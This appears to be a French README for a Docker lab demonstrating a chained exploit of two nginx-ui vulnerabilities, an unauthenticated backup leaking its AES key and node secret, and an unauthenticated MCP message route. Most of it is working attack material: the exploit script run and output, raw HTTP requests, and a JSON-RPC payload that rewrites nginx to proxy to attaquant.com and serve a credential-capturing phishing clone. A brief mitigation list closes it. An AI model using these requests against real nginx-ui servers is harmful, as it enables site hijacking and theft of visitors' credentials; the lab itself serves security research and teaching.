
Configuration Docker Compose pour démontrer la vulnérabilité d'authentification manquante de nginx-ui
Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. Toutes les techniques démontrées ici ne doivent être utilisées que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive. N'exécutez pas cela contre un système sans autorisation.
Un laboratoire Docker Compose autonome démontrant une chaîne de deux CVE contre nginx-ui v2.3.1 qui permet une prise de contrôle complète de nginx avec zéro connaissance préalable — aucun nom d'utilisateur, aucun mot de passe, aucun jeton.
GET /api/backup ne nécessite aucune authentification. Le point de terminaison renvoie une sauvegarde chiffrée complète de l'installation nginx-ui — y compris app.ini — et envoie la clé de déchiffrement AES-256-CBC et l'IV dans l'en-tête de réponse :
X-Backup-Security: <base64_key>:<base64_iv>
Depuis le code source (api/backup/router.go) :
r.GET("/backup", CreateBackup) // ❌ aucun middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
Le déchiffrement de la sauvegarde donne app.ini, qui contient le [node] Secret nécessaire pour l'étape 2.
| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 Critique |
| Affecté | nginx-ui < 2.3.2 |
| Corrigé dans | nginx-ui 2.3.3 |
nginx-ui v2.3.x a ajouté une interface Model Context Protocol (MCP) exposant 12 outils de gestion nginx. Le bug est un simple appel middleware manquant dans mcp/router.go :
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ AuthRequired() MANQUANT
Avec un sessionId obtenu via le secret de nœud, un attaquant peut envoyer une requête POST à /mcp_message sans identifiants utilisateur et invoquer n'importe quel outil privilégié — y compris nginx_config_modify et reload_nginx.
| CVE | CVE-2026-33032 |
| Alias | MCPwn (Pluto Security) |
| CVSS | 9.8 Critique |
| Affecté | nginx-ui ≤ 2.3.3 |
| Corrigé dans | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ Navigateur │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ Attaquant ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) VULNÉRABLE │
│ (aucun identifiant) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (vert) │ formulaire de │
│ │ proxy_pass par défaut │ connexion │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site (rouge) │ clone de │
│ │ proxy_pass après attaque│ phishing │
│ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
nginx-ui intègre sa propre instance nginx. Lorsque l'exploit appelle reload_nginx via MCP, il recharge le même nginx qui sert le trafic sur :8080 — aucun accès à l'hôte requis.
Prérequis : Docker + Docker Compose + Python 3.10+
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
| URL | |
|---|---|
http://localhost:8080 | Site victime — vert (légitime) |
http://localhost:9000 | Panneau d'administration nginx-ui |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
Le script enchaîne les deux CVE sans aucun identifiant préalable :
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Cred RCE
Cible : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — téléchargement de la sauvegarde (sans auth)
[+] Clé AES+IV depuis l'en-tête : kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Secret de nœud extrait : 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — ouverture de session MCP non authentifiée (GET /mcp)
[+] sessionId : ee83906e-ee26-4d65-83f8-91d62b00770a
[*] Recon — lecture de la configuration actuelle
[+] Actuel : proxy_pass http://webapp:80;
[*] Écrasement de default.conf via POST /mcp_message (sans auth)
[+] Nouveau : proxy_pass http://malicious_site:80;
[*] Rechargement de nginx via POST /mcp_message (sans auth)
[+] nginx rechargé — la configuration est active
[!] Attaque terminée.
Les victimes sur http://localhost:8080/ reçoivent désormais la page de phishing.
Voir les identifiants capturés : http://localhost:8080/?debug=1
Après l'exploit, http://localhost:8080 passe de la page légitime verte au clone de phishing rouge — à la même URL, sans aucune indication pour la victime.
Ouvrez http://localhost:8080/?debug=1 pour révéler le panneau de l'attaquant et voir les identifiants capturés en temps réel.
python3 exploit/exploit.py --url http://localhost:9000 --reset
Utilise la même chaîne de CVE pour restaurer la configuration d'origine et recharger nginx.
GET /api/backup HTTP/1.1
Host: cible:9000
Réponse :
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
Déchiffrez le zip avec la clé/IV fournis → extrayez app.ini → lisez [node] Secret.
Requête 1 — Ouverture de session SSE (secret de nœud, sans auth utilisateur) :
GET /mcp?node_secret=<uuid>
Le flux SSE répond avec un sessionId.
Requête 2+ — Invocation des outils (aucune auth du tout) :
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attaquant.com; } }",
"sync_overwrite": false
}
}
}
Aucun en-tête Authorization. Aucun cookie. AuthRequired() est simplement absent de la route /mcp_message.
| Outil | Impact |
|---|---|
nginx_config_modify | Écraser n'importe quel fichier de configuration |
nginx_config_add | Créer de nouveaux fichiers de configuration |
nginx_config_get | Lire n'importe quel fichier de configuration |
nginx_config_list | Lister toutes les configurations |
nginx_config_enable/disable | Activer/désactiver les configurations de sites |
nginx_config_rename | Déplacer/renommer les fichiers de configuration |
nginx_config_mkdir | Créer des répertoires |
nginx_config_history | Voir l'historique des modifications |
nginx_config_base_path | Révéler le chemin racine de la configuration |
nginx_status | Vérifier le statut de nginx |
reload_nginx | Appliquer les changements de configuration en direct |
restart_nginx | Redémarrage complet de nginx |
[node] IPWhiteList non vide dans app.ini pour restreindre l'accès MCP à des IP spécifiques/etc/nginx/conf.d/ avec un système de surveillance de l'intégrité des fichiers (auditd, Wazuh, etc.)